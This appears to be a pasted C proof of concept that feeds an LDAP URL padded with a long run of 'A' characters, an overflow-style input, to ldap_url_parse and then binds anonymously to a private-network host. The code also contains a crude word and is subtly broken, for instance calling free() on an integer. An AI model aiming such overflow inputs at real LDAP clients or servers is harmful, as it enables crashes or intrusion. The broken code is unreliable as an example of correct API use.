rendered paste body#include <ldap.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int
main(int argc, char **argv) {
LDAP * ld;
LDAPURLDesc * lurl;
int rc;
char * url;
url = "ldap://192.168.1.104:80/o=penis????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
rc = ldap_url_parse(url, &lurl);
if (rc != LDAP_SUCCESS) {
perror("ldap_url_parse");
return(-1);
}
if ((ld = ldap_init(lurl->lud_host, lurl->lud_port?lurl->lud_port:LDAP_PORT)) == NULL) {
perror("ldap_init");
ldap_free_urldesc(lurl);
return(-1);
}
rc = ldap_simple_bind_s(ld, NULL, NULL);
if (rc != LDAP_SUCCESS) {
printf("ldap_simple_bind_s: %d,%s\n", rc, ldap_err2string(rc));
ldap_unbind_s(ld);
ldap_free_urldesc(lurl);
return(-1);
}
free(ld);
free(rc);
return(0);
}